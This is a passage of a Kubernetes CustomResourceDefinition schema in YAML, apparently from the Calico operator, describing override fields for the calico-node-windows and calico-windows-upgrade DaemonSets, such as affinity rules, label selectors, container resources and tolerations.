                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    containers:
                                      description: |-
                                        Containers is a list of calico-node-windows containers.
                                        If specified, this overrides the specified calico-node-windows DaemonSet containers.
                                        If omitted, the calico-node-windows DaemonSet will use its default values for its containers.
                                      items:
                                        description: CalicoNodeWindowsDaemonSetContainer
                                          is a calico-node-windows DaemonSet container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the calico-node-windows DaemonSet container by name.
                                              Supported values are: calico-node-windows
                                            enum:
                                            - calico-node-windows
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named calico-node-windows DaemonSet container's resources.
                                              If omitted, the calico-node-windows DaemonSet will use its default value for this container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    initContainers:
                                      description: |-
                                        InitContainers is a list of calico-node-windows init containers.
                                        If specified, this overrides the specified calico-node-windows DaemonSet init containers.
                                        If omitted, the calico-node-windows DaemonSet will use its default values for its init containers.
                                      items:
                                        description: CalicoNodeWindowsDaemonSetInitContainer
                                          is a calico-node-windows DaemonSet init
                                          container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the calico-node-windows DaemonSet init container by name.
                                              Supported values are: install-cni;hostpath-init, flexvol-driver, mount-bpffs, node-certs-key-cert-provisioner, calico-node-windows-prometheus-server-tls-key-cert-provisioner
                                            enum:
                                            - install-cni
                                            - hostpath-init
                                            - flexvol-driver
                                            - mount-bpffs
                                            - node-certs-key-cert-provisioner
                                            - calico-node-windows-prometheus-server-tls-key-cert-provisioner
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named calico-node-windows DaemonSet init container's resources.
                                              If omitted, the calico-node-windows DaemonSet will use its default value for this container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is the calico-node-windows pod's scheduling constraints.
                                        If specified, each of the key/value pairs are added to the calico-node-windows DaemonSet nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If omitted, the calico-node-windows DaemonSet will use its default value for nodeSelector.
                                        WARNING: Please note that this field will modify the default calico-node-windows DaemonSet nodeSelector.
                                      type: object
                                    tolerations:
                                      description: |-
                                        Tolerations is the calico-node-windows pod's tolerations.
                                        If specified, this overrides any tolerations that may be set on the calico-node-windows DaemonSet.
                                        If omitted, the calico-node-windows DaemonSet will use its default value for tolerations.
                                        WARNING: Please note that this field will override the default calico-node-windows DaemonSet tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                          type: object
                      type: object
                    calicoWindowsUpgradeDaemonSet:
                      description: |-
                        Deprecated. The CalicoWindowsUpgradeDaemonSet is deprecated and will be removed from the API in the future.
                        CalicoWindowsUpgradeDaemonSet configures the calico-windows-upgrade DaemonSet.
                      properties:
                        metadata:
                          description: Metadata is a subset of a Kubernetes object's
                            metadata that is added to the Deployment.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              description: |-
                                Annotations is a map of arbitrary non-identifying metadata. Each of these
                                key/value pairs are added to the object's annotations provided the key does not
                                already exist in the object's annotations.
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Labels is a map of string keys and values that may match replicaset and
                                service selectors. Each of these key/value pairs are added to the
                                object's labels provided the key does not already exist in the object's labels.
                              type: object
                          type: object
                        spec:
                          description: Spec is the specification of the calico-windows-upgrade
                            DaemonSet.
                          properties:
                            minReadySeconds:
                              description: |-
                                MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                                be ready without any of its container crashing, for it to be considered available.
                                If specified, this overrides any minReadySeconds value that may be set on the calico-windows-upgrade DaemonSet.
                                If omitted, the calico-windows-upgrade DaemonSet will use its default value for minReadySeconds.
                              format: int32
                              maximum: 2147483647
                              minimum: 0
                              type: integer
                            template:
                              description: Template describes the calico-windows-upgrade
                                DaemonSet pod that will be created.
                              properties:
                                metadata:
                                  description: |-
                                    Metadata is a subset of a Kubernetes object's metadata that is added to
                                    the pod's metadata.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Annotations is a map of arbitrary non-identifying metadata. Each of these
                                        key/value pairs are added to the object's annotations provided the key does not
                                        already exist in the object's annotations.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Labels is a map of string keys and values that may match replicaset and
                                        service selectors. Each of these key/value pairs are added to the
                                        object's labels provided the key does not already exist in the object's labels.
                                      type: object
                                  type: object
                                spec:
                                  description: Spec is the calico-windows-upgrade
                                    DaemonSet's PodSpec.
                                  properties:
                                    affinity:
                                      description: |-
                                        Affinity is a group of affinity scheduling rules for the calico-windows-upgrade pods.
                                        If specified, this overrides any affinity that may be set on the calico-windows-upgrade DaemonSet.
                                        If omitted, the calico-windows-upgrade DaemonSet will use its default value for affinity.
                                        WARNING: Please note that this field will override the default calico-windows-upgrade DaemonSet affinity.
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
